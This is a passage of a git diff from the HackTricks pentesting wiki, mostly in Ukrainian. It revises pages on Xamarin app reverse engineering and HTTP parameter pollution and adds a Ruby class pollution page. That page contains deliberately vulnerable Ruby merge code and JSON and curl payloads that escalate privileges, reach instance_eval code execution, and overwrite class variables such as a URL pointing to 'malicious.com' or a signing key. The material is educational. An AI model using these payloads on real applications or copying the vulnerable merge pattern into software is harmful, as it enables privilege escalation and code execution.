Translated ['mobile-pentesting/xamarin-apps.md', 'pentesting-web/deseria
BIN
.gitbook/assets/image (1255).png
Normal file
After Width: | Height: | Size: 153 KiB |
BIN
.gitbook/assets/image (1256).png
Normal file
After Width: | Height: | Size: 161 KiB |
BIN
.gitbook/assets/image (1257).png
Normal file
After Width: | Height: | Size: 161 KiB |
BIN
.gitbook/assets/image (1258).png
Normal file
After Width: | Height: | Size: 218 KiB |
BIN
.gitbook/assets/image (1259).png
Normal file
After Width: | Height: | Size: 167 KiB |
BIN
.gitbook/assets/image (1260).png
Normal file
After Width: | Height: | Size: 161 KiB |
BIN
.gitbook/assets/image (1261).png
Normal file
After Width: | Height: | Size: 162 KiB |
BIN
.gitbook/assets/image (1262).png
Normal file
After Width: | Height: | Size: 164 KiB |
BIN
.gitbook/assets/image (1263).png
Normal file
After Width: | Height: | Size: 168 KiB |
|
@ -570,6 +570,7 @@
|
|||
* [Exploiting \_\_VIEWSTATE without knowing the secrets](pentesting-web/deserialization/exploiting-\_\_viewstate-parameter.md)
|
||||
* [Python Yaml Deserialization](pentesting-web/deserialization/python-yaml-deserialization.md)
|
||||
* [JNDI - Java Naming and Directory Interface & Log4Shell](pentesting-web/deserialization/jndi-java-naming-and-directory-interface-and-log4shell.md)
|
||||
* [Ruby Class Pollution](pentesting-web/deserialization/ruby-class-pollution.md)
|
||||
* [Domain/Subdomain takeover](pentesting-web/domain-subdomain-takeover.md)
|
||||
* [Email Injections](pentesting-web/email-injections.md)
|
||||
* [File Inclusion/Path traversal](pentesting-web/file-inclusion/README.md)
|
||||
|
|
|
@ -1,8 +1,8 @@
|
|||
# Xamarin Apps
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -15,31 +15,29 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
This is a summary of the blog post [https://www.appknox.com/security/xamarin-reverse-engineering-a-guide-for-penetration-testers](https://www.appknox.com/security/xamarin-reverse-engineering-a-guide-for-penetration-testers)
|
||||
|
||||
## **Basic Information**
|
||||
## **Основна інформація**
|
||||
|
||||
Xamarin є **платформою з відкритим кодом**, призначеною для розробників для **створення додатків для iOS, Android та Windows** з використанням фреймворків .NET та C#. Ця платформа надає доступ до численних інструментів та розширень для ефективного створення сучасних додатків.
|
||||
|
||||
### Архітектура Xamarin
|
||||
|
||||
- Для **Android** Xamarin інтегрується з Android та Java просторами імен через .NET зв'язки, працюючи в середовищі виконання Mono разом з Android Runtime (ART). Managed Callable Wrappers (MCW) та Android Callable Wrappers (ACW) полегшують зв'язок між Mono та ART, обидва з яких побудовані на ядрі Linux.
|
||||
- Для **iOS** додатки працюють під управлінням середовища виконання Mono, використовуючи повну компіляцію Ahead of Time (AOT) для перетворення коду C# .NET в ARM асемблерну мову. Цей процес працює разом з Objective-C Runtime на ядрі, подібному до UNIX.
|
||||
* Для **Android** Xamarin інтегрується з Android та Java просторами імен через прив'язки .NET, працюючи в середовищі виконання Mono разом з Android Runtime (ART). Managed Callable Wrappers (MCW) та Android Callable Wrappers (ACW) полегшують зв'язок між Mono та ART, обидва з яких побудовані на ядрі Linux.
|
||||
* Для **iOS** додатки працюють під управлінням середовища виконання Mono, використовуючи повну компіляцію Ahead of Time (AOT) для перетворення коду C# .NET в ARM асемблерну мову. Цей процес відбувається поряд з Objective-C Runtime на ядрі, подібному до UNIX.
|
||||
|
||||
### .NET Runtime та Mono Framework
|
||||
|
||||
**.NET фреймворк** включає збірки, класи та простори імен для розробки додатків, при цьому .NET Runtime керує виконанням коду. Він пропонує незалежність від платформи та зворотну сумісність. **Mono Framework** є версією .NET фреймворку з відкритим кодом, ініційованою в 2005 році для розширення .NET на Linux, тепер підтримується Microsoft і очолюється Xamarin.
|
||||
**.NET framework** включає збірки, класи та простори імен для розробки додатків, при цьому .NET Runtime керує виконанням коду. Він пропонує незалежність від платформи та зворотну сумісність. **Mono Framework** є версією .NET framework з відкритим кодом, ініційованою в 2005 році для розширення .NET на Linux, тепер підтримується Microsoft і очолюється Xamarin.
|
||||
|
||||
### Реверс-інжиніринг додатків Xamarin
|
||||
|
||||
#### Декомпіляція збірок Xamarin
|
||||
|
||||
Декомпіляція перетворює скомпільований код назад у вихідний код. У Windows вікно Модулі в Visual Studio може ідентифікувати модулі для декомпіляції, що дозволяє безпосередній доступ до стороннього коду та витягування вихідного коду для аналізу.
|
||||
Декомпіляція перетворює скомпільований код назад у вихідний код. У Windows вікно Модулі у Visual Studio може ідентифікувати модулі для декомпіляції, що дозволяє отримати прямий доступ до коду третіх сторін та витягти вихідний код для аналізу.
|
||||
|
||||
#### JIT проти AOT компіляції
|
||||
|
||||
- **Android** підтримує Just-In-Time (JIT) та Ahead-Of-Time (AOT) компіляцію, з гібридним режимом AOT для оптимальної швидкості виконання. Повна AOT є ексклюзивною для корпоративних ліцензій.
|
||||
- **iOS** використовує лише AOT компіляцію через обмеження Apple на динамічне виконання коду.
|
||||
* **Android** підтримує Just-In-Time (JIT) та Ahead-Of-Time (AOT) компіляцію, з гібридним режимом AOT для оптимальної швидкості виконання. Повна AOT є ексклюзивною для корпоративних ліцензій.
|
||||
* **iOS** використовує лише AOT компіляцію через обмеження Apple на динамічне виконання коду.
|
||||
|
||||
### Витягування dll файлів з APK/IPA
|
||||
|
||||
|
@ -47,15 +45,21 @@ Xamarin є **платформою з відкритим кодом**, призн
|
|||
```bash
|
||||
python3 xamarin-decompress.py -o /path/to/decompressed/apk
|
||||
```
|
||||
Для збірки блобів в Android, [pyxamstore](https://github.com/jakev/pyxamstore) може їх розпакувати.
|
||||
У випадках, коли після декомпіляції APK можливо побачити папку unknown/assemblies/ з файлами `.dll` всередині, можна використовувати [**dnSpy**](https://github.com/dnSpy/dnSpy) безпосередньо над `.dll` для їх аналізу.\
|
||||
Однак іноді в папці unknown/assemblies/ знаходять файли `assemblies.blob` та `assemblies.manifest`. Інструмент [pyxamstore](https://github.com/jakev/pyxamstore) можна використовувати для розпакування файлу `assemblies.blob` в додатках Xamarin, що дозволяє отримати доступ до .NET збірок для подальшого аналізу:
|
||||
```bash
|
||||
pyxamstore unpack -d /path/to/decompressed/apk/assemblies/
|
||||
```
|
||||
iOS dll файли легко доступні для декомпіляції, що відкриває значні частини коду програми, який часто має спільну базу на різних платформах.
|
||||
iOS dll файли легко доступні для декомпіляції, що відкриває значні частини коду програми, який часто має спільну основу на різних платформах.
|
||||
|
||||
### Статичний аналіз
|
||||
|
||||
Після отримання `.dll` можна статично аналізувати .Net код, використовуючи інструменти, такі як [**dnSpy**](https://github.com/dnSpy/dnSpy) **або** [**ILSpy**](https://github.com/icsharpcode/ILSpy), **які** дозволять змінювати код програми. Це може бути дуже корисно для модифікації програми, щоб обійти захист, наприклад.\
|
||||
Зверніть увагу, що після модифікації програми вам потрібно буде знову упакувати її та підписати.
|
||||
|
||||
### Динамічний аналіз
|
||||
|
||||
Динамічний аналіз передбачає перевірку на SSL pinning та використання інструментів, таких як [Fridax](https://github.com/NorthwaveSecurity/fridax), для модифікацій .NET бінарних файлів у додатках Xamarin під час виконання. Скрипти Frida доступні для обходу виявлення root або SSL pinning, що покращує можливості аналізу.
|
||||
Динамічний аналіз включає перевірку на SSL pinning та використання інструментів, таких як [Fridax](https://github.com/NorthwaveSecurity/fridax) для модифікацій .NET бінарних файлів у Xamarin додатках під час виконання. Доступні скрипти Frida для обходу виявлення root або SSL pinning, що покращує можливості аналізу.
|
||||
|
||||
Інші цікаві скрипти Frida:
|
||||
|
||||
|
@ -63,14 +67,19 @@ iOS dll файли легко доступні для декомпіляції,
|
|||
* [**xamarin-root-detect-bypass**](https://codeshare.frida.re/@nuschpl/xamarin-root-detect-bypass/)
|
||||
* [**Frida-xamarin-unpin**](https://github.com/GoSecure/frida-xamarin-unpin)
|
||||
|
||||
### Підписування заново
|
||||
|
||||
Інструмент [Uber APK Signer](https://github.com/patrickfav/uber-apk-signer) спрощує підписування кількох APK з одним і тим же ключем і може бути використаний для повторного підписування програми після внесення змін.
|
||||
|
||||
## Додаткова інформація
|
||||
|
||||
* [https://www.appknox.com/security/xamarin-reverse-engineering-a-guide-for-penetration-testers](https://www.appknox.com/security/xamarin-reverse-engineering-a-guide-for-penetration-testers)
|
||||
* [https://thecobraden.com/posts/unpacking\_xamarin\_assembly\_stores/](https://thecobraden.com/posts/unpacking\_xamarin\_assembly\_stores/)
|
||||
* [https://medium.com/@justmobilesec/introduction-to-the-exploitation-of-xamarin-apps-fde4619a51bf](https://medium.com/@justmobilesec/introduction-to-the-exploitation-of-xamarin-apps-fde4619a51bf)
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
441
pentesting-web/deserialization/ruby-class-pollution.md
Normal file
|
@ -0,0 +1,441 @@
|
|||
# Ruby Class Pollution
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
Це резюме з посту [https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html](https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html)
|
||||
|
||||
## Злиття за атрибутами
|
||||
|
||||
Приклад:
|
||||
```ruby
|
||||
# Code from https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html
|
||||
# Comments added to exploit the merge on attributes
|
||||
require 'json'
|
||||
|
||||
|
||||
# Base class for both Admin and Regular users
|
||||
class Person
|
||||
|
||||
attr_accessor :name, :age, :details
|
||||
|
||||
def initialize(name:, age:, details:)
|
||||
@name = name
|
||||
@age = age
|
||||
@details = details
|
||||
end
|
||||
|
||||
# Method to merge additional data into the object
|
||||
def merge_with(additional)
|
||||
recursive_merge(self, additional)
|
||||
end
|
||||
|
||||
# Authorize based on the `to_s` method result
|
||||
def authorize
|
||||
if to_s == "Admin"
|
||||
puts "Access granted: #{@name} is an admin."
|
||||
else
|
||||
puts "Access denied: #{@name} is not an admin."
|
||||
end
|
||||
end
|
||||
|
||||
# Health check that executes all protected methods using `instance_eval`
|
||||
def health_check
|
||||
protected_methods().each do |method|
|
||||
instance_eval(method.to_s)
|
||||
end
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
# VULNERABLE FUNCTION that can be abused to merge attributes
|
||||
def recursive_merge(original, additional, current_obj = original)
|
||||
additional.each do |key, value|
|
||||
|
||||
if value.is_a?(Hash)
|
||||
if current_obj.respond_to?(key)
|
||||
next_obj = current_obj.public_send(key)
|
||||
recursive_merge(original, value, next_obj)
|
||||
else
|
||||
new_object = Object.new
|
||||
current_obj.instance_variable_set("@#{key}", new_object)
|
||||
current_obj.singleton_class.attr_accessor key
|
||||
end
|
||||
else
|
||||
current_obj.instance_variable_set("@#{key}", value)
|
||||
current_obj.singleton_class.attr_accessor key
|
||||
end
|
||||
end
|
||||
original
|
||||
end
|
||||
|
||||
protected
|
||||
|
||||
def check_cpu
|
||||
puts "CPU check passed."
|
||||
end
|
||||
|
||||
def check_memory
|
||||
puts "Memory check passed."
|
||||
end
|
||||
end
|
||||
|
||||
# Admin class inherits from Person
|
||||
class Admin < Person
|
||||
def initialize(name:, age:, details:)
|
||||
super(name: name, age: age, details: details)
|
||||
end
|
||||
|
||||
def to_s
|
||||
"Admin"
|
||||
end
|
||||
end
|
||||
|
||||
# Regular user class inherits from Person
|
||||
class User < Person
|
||||
def initialize(name:, age:, details:)
|
||||
super(name: name, age: age, details: details)
|
||||
end
|
||||
|
||||
def to_s
|
||||
"User"
|
||||
end
|
||||
end
|
||||
|
||||
class JSONMergerApp
|
||||
def self.run(json_input)
|
||||
additional_object = JSON.parse(json_input)
|
||||
|
||||
# Instantiate a regular user
|
||||
user = User.new(
|
||||
name: "John Doe",
|
||||
age: 30,
|
||||
details: {
|
||||
"occupation" => "Engineer",
|
||||
"location" => {
|
||||
"city" => "Madrid",
|
||||
"country" => "Spain"
|
||||
}
|
||||
}
|
||||
)
|
||||
|
||||
|
||||
# Perform a recursive merge, which could override methods
|
||||
user.merge_with(additional_object)
|
||||
|
||||
# Authorize the user (privilege escalation vulnerability)
|
||||
# ruby class_pollution.rb '{"to_s":"Admin","name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}'
|
||||
user.authorize
|
||||
|
||||
# Execute health check (RCE vulnerability)
|
||||
# ruby class_pollution.rb '{"protected_methods":["puts 1"],"name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}'
|
||||
user.health_check
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
if ARGV.length != 1
|
||||
puts "Usage: ruby class_pollution.rb 'JSON_STRING'"
|
||||
exit
|
||||
end
|
||||
|
||||
json_input = ARGV[0]
|
||||
JSONMergerApp.run(json_input)
|
||||
```
|
||||
### Пояснення
|
||||
|
||||
1. **Ескалація Привілеїв**: Метод `authorize` перевіряє, чи повертає `to_s` "Admin." Впроваджуючи новий атрибут `to_s` через JSON, зловмисник може змусити метод `to_s` повертати "Admin," надаючи несанкціоновані привілеї.
|
||||
2. **Віддалене Виконання Коду**: У `health_check`, `instance_eval` виконує методи, зазначені в `protected_methods`. Якщо зловмисник впроваджує власні імена методів (наприклад, `"puts 1"`), `instance_eval` виконає його, що призведе до **віддаленого виконання коду (RCE)**.
|
||||
1. Це можливо лише тому, що існує **вразлива інструкція `eval`,** яка виконує рядкове значення цього атрибута.
|
||||
3. **Обмеження Впливу**: Ця вразливість впливає лише на окремі екземпляри, залишаючи інші екземпляри `User` і `Admin` неушкодженими, таким чином обмежуючи обсяг експлуатації.
|
||||
|
||||
### Реальні Випадки <a href="#real-world-cases" id="real-world-cases"></a>
|
||||
|
||||
### ActiveSupport’s `deep_merge`
|
||||
|
||||
Це не є вразливим за замовчуванням, але може бути зроблено вразливим з чимось на кшталт: 
|
||||
```ruby
|
||||
# Method to merge additional data into the object using ActiveSupport deep_merge
|
||||
def merge_with(other_object)
|
||||
merged_hash = to_h.deep_merge(other_object)
|
||||
|
||||
merged_hash.each do |key, value|
|
||||
self.class.attr_accessor key
|
||||
instance_variable_set("@#{key}", value)
|
||||
end
|
||||
|
||||
self
|
||||
end
|
||||
```
|
||||
### Hashie’s `deep_merge`
|
||||
|
||||
Метод `deep_merge` в Hashie працює безпосередньо з атрибутами об'єкта, а не з простими хешами. Він **запобігає заміні методів** на атрибути під час злиття з деякими **виключеннями**: атрибути, які закінчуються на `_`, `!` або `?`, все ще можуть бути злиті в об'єкт.
|
||||
|
||||
Особливим випадком є атрибут **`_`** сам по собі. Просто `_` є атрибутом, який зазвичай повертає об'єкт `Mash`. І оскільки це частина **виключень**, його можна модифікувати.
|
||||
|
||||
Перегляньте наступний приклад, як передаючи `{"_": "Admin"}`, можна обійти `_.to_s == "Admin"`:
|
||||
```ruby
|
||||
require 'json'
|
||||
require 'hashie'
|
||||
|
||||
# Base class for both Admin and Regular users
|
||||
class Person < Hashie::Mash
|
||||
|
||||
# Method to merge additional data into the object using hashie
|
||||
def merge_with(other_object)
|
||||
deep_merge!(other_object)
|
||||
self
|
||||
end
|
||||
|
||||
# Authorize based on to_s
|
||||
def authorize
|
||||
if _.to_s == "Admin"
|
||||
puts "Access granted: #{@name} is an admin."
|
||||
else
|
||||
puts "Access denied: #{@name} is not an admin."
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
# Admin class inherits from Person
|
||||
class Admin < Person
|
||||
def to_s
|
||||
"Admin"
|
||||
end
|
||||
end
|
||||
|
||||
# Regular user class inherits from Person
|
||||
class User < Person
|
||||
def to_s
|
||||
"User"
|
||||
end
|
||||
end
|
||||
|
||||
class JSONMergerApp
|
||||
def self.run(json_input)
|
||||
additional_object = JSON.parse(json_input)
|
||||
|
||||
# Instantiate a regular user
|
||||
user = User.new({
|
||||
name: "John Doe",
|
||||
age: 30,
|
||||
details: {
|
||||
"occupation" => "Engineer",
|
||||
"location" => {
|
||||
"city" => "Madrid",
|
||||
"country" => "Spain"
|
||||
}
|
||||
}
|
||||
})
|
||||
|
||||
# Perform a deep merge, which could override methods
|
||||
user.merge_with(additional_object)
|
||||
|
||||
# Authorize the user (privilege escalation vulnerability)
|
||||
# Exploit: If we pass {"_": "Admin"} in the JSON, the user will be treated as an admin.
|
||||
# Example usage: ruby hashie.rb '{"_": "Admin", "name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}'
|
||||
user.authorize
|
||||
end
|
||||
end
|
||||
|
||||
if ARGV.length != 1
|
||||
puts "Usage: ruby hashie.rb 'JSON_STRING'"
|
||||
exit
|
||||
end
|
||||
|
||||
json_input = ARGV[0]
|
||||
JSONMergerApp.run(json_input)
|
||||
```
|
||||
## Poison the Classes <a href="#escaping-the-object-to-poison-the-class" id="escaping-the-object-to-poison-the-class"></a>
|
||||
|
||||
У наступному прикладі можна знайти клас **`Person`**, а також класи **`Admin`** та **`Regular`**, які успадковують від класу **`Person`**. Він також має інший клас під назвою **`KeySigner`**:
|
||||
```ruby
|
||||
require 'json'
|
||||
require 'sinatra/base'
|
||||
require 'net/http'
|
||||
|
||||
# Base class for both Admin and Regular users
|
||||
class Person
|
||||
@@url = "http://default-url.com"
|
||||
|
||||
attr_accessor :name, :age, :details
|
||||
|
||||
def initialize(name:, age:, details:)
|
||||
@name = name
|
||||
@age = age
|
||||
@details = details
|
||||
end
|
||||
|
||||
def self.url
|
||||
@@url
|
||||
end
|
||||
|
||||
# Method to merge additional data into the object
|
||||
def merge_with(additional)
|
||||
recursive_merge(self, additional)
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
# Recursive merge to modify instance variables
|
||||
def recursive_merge(original, additional, current_obj = original)
|
||||
additional.each do |key, value|
|
||||
if value.is_a?(Hash)
|
||||
if current_obj.respond_to?(key)
|
||||
next_obj = current_obj.public_send(key)
|
||||
recursive_merge(original, value, next_obj)
|
||||
else
|
||||
new_object = Object.new
|
||||
current_obj.instance_variable_set("@#{key}", new_object)
|
||||
current_obj.singleton_class.attr_accessor key
|
||||
end
|
||||
else
|
||||
current_obj.instance_variable_set("@#{key}", value)
|
||||
current_obj.singleton_class.attr_accessor key
|
||||
end
|
||||
end
|
||||
original
|
||||
end
|
||||
end
|
||||
|
||||
class User < Person
|
||||
def initialize(name:, age:, details:)
|
||||
super(name: name, age: age, details: details)
|
||||
end
|
||||
end
|
||||
|
||||
# A class created to simulate signing with a key, to be infected with the third gadget
|
||||
class KeySigner
|
||||
@@signing_key = "default-signing-key"
|
||||
|
||||
def self.signing_key
|
||||
@@signing_key
|
||||
end
|
||||
|
||||
def sign(signing_key, data)
|
||||
"#{data}-signed-with-#{signing_key}"
|
||||
end
|
||||
end
|
||||
|
||||
class JSONMergerApp < Sinatra::Base
|
||||
# POST /merge - Infects class variables using JSON input
|
||||
post '/merge' do
|
||||
content_type :json
|
||||
json_input = JSON.parse(request.body.read)
|
||||
|
||||
user = User.new(
|
||||
name: "John Doe",
|
||||
age: 30,
|
||||
details: {
|
||||
"occupation" => "Engineer",
|
||||
"location" => {
|
||||
"city" => "Madrid",
|
||||
"country" => "Spain"
|
||||
}
|
||||
}
|
||||
)
|
||||
|
||||
user.merge_with(json_input)
|
||||
|
||||
{ status: 'merged' }.to_json
|
||||
end
|
||||
|
||||
# GET /launch-curl-command - Activates the first gadget
|
||||
get '/launch-curl-command' do
|
||||
content_type :json
|
||||
|
||||
# This gadget makes an HTTP request to the URL stored in the User class
|
||||
if Person.respond_to?(:url)
|
||||
url = Person.url
|
||||
response = Net::HTTP.get_response(URI(url))
|
||||
{ status: 'HTTP request made', url: url, response_body: response.body }.to_json
|
||||
else
|
||||
{ status: 'Failed to access URL variable' }.to_json
|
||||
end
|
||||
end
|
||||
|
||||
# Curl command to infect User class URL:
|
||||
# curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"url":"http://example.com"}}}' http://localhost:4567/merge
|
||||
|
||||
# GET /sign_with_subclass_key - Signs data using the signing key stored in KeySigner
|
||||
get '/sign_with_subclass_key' do
|
||||
content_type :json
|
||||
|
||||
# This gadget signs data using the signing key stored in KeySigner class
|
||||
signer = KeySigner.new
|
||||
signed_data = signer.sign(KeySigner.signing_key, "data-to-sign")
|
||||
|
||||
{ status: 'Data signed', signing_key: KeySigner.signing_key, signed_data: signed_data }.to_json
|
||||
end
|
||||
|
||||
# Curl command to infect KeySigner signing key (run in a loop until successful):
|
||||
# for i in {1..1000}; do curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"superclass":{"subclasses":{"sample":{"signing_key":"injected-signing-key"}}}}}}' http://localhost:4567/merge; done
|
||||
|
||||
# GET /check-infected-vars - Check if all variables have been infected
|
||||
get '/check-infected-vars' do
|
||||
content_type :json
|
||||
|
||||
{
|
||||
user_url: Person.url,
|
||||
signing_key: KeySigner.signing_key
|
||||
}.to_json
|
||||
end
|
||||
|
||||
run! if app_file == $0
|
||||
end
|
||||
```
|
||||
### Отруйний батьківський клас
|
||||
|
||||
З цим корисним навантаженням:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"url":"http://malicious.com"}}}' http://localhost:4567/merge
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
Можливо змінити значення атрибута **`@@url`** батьківського класу **`Person`**.
|
||||
|
||||
### **Отруєння Інших Класів**
|
||||
|
||||
З цим payload:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
for i in {1..1000}; do curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"superclass":{"subclasses":{"sample":{"signing_key":"injected-signing-key"}}}}}}' http://localhost:4567/merge --silent > /dev/null; done
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
Можливо здійснити брутфорс визначених класів і в якийсь момент отруїти клас **`KeySigner`**, змінивши значення `signing_key` на `injected-signing-key`.\
|
||||
|
||||
## References
|
||||
|
||||
* [https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html](https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html)
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
|
@ -1,8 +1,10 @@
|
|||
# Параметричне забруднення
|
||||
|
||||
## Параметричне забруднення
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Вивчайте та практикуйте AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -19,66 +21,132 @@
|
|||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
## Огляд HTTP Параметричного Забруднення (HPP)
|
||||
|
||||
# Огляд HTTP Параметричного Забруднення (HPP)
|
||||
HTTP Параметричне Забруднення (HPP) — це техніка, при якій зловмисники маніпулюють HTTP параметрами, щоб змінити поведінку веб-додатку ненавмисними способами. Ця маніпуляція здійснюється шляхом додавання, модифікації або дублювання HTTP параметрів. Ефект цих маніпуляцій не є безпосередньо видимим для користувача, але може суттєво змінити функціональність додатку на стороні сервера, з помітними наслідками на стороні клієнта.
|
||||
|
||||
HTTP Параметричне Забруднення (HPP) — це техніка, при якій зловмисники маніпулюють HTTP параметрами, щоб змінити поведінку веб-додатку ненавмисними способами. Ця маніпуляція здійснюється шляхом додавання, модифікації або дублювання HTTP параметрів. Ефект цих маніпуляцій не видно безпосередньо користувачу, але може суттєво змінити функціональність додатку на стороні сервера, з помітними наслідками на стороні клієнта.
|
||||
|
||||
## Приклад HTTP Параметричного Забруднення (HPP)
|
||||
### Приклад HTTP Параметричного Забруднення (HPP)
|
||||
|
||||
URL транзакції банківського додатку:
|
||||
|
||||
- **Оригінальний URL:** `https://www.victim.com/send/?from=accountA&to=accountB&amount=10000`
|
||||
* **Оригінальний URL:** `https://www.victim.com/send/?from=accountA&to=accountB&amount=10000`
|
||||
|
||||
Вставивши додатковий параметр `from`:
|
||||
|
||||
- **Маніпульований URL:** `https://www.victim.com/send/?from=accountA&to=accountB&amount=10000&from=accountC`
|
||||
* **Маніпульований URL:** `https://www.victim.com/send/?from=accountA&to=accountB&amount=10000&from=accountC`
|
||||
|
||||
Транзакція може бути неправильно зарахована на `accountC` замість `accountA`, демонструючи потенціал HPP для маніпуляції транзакціями або іншими функціональностями, такими як скидання паролів, налаштування 2FA або запити API ключів.
|
||||
Транзакція може бути неправильно стягнута з `accountC` замість `accountA`, демонструючи потенціал HPP для маніпуляції транзакціями або іншими функціональностями, такими як скидання пароля, налаштування 2FA або запити API ключів.
|
||||
|
||||
### **Парсинг Параметрів, Специфічний для Технології**
|
||||
#### **Парсинг параметрів, специфічний для технології**
|
||||
|
||||
- Спосіб парсингу та пріоритету параметрів залежить від основної веб-технології, що впливає на те, як HPP може бути використано.
|
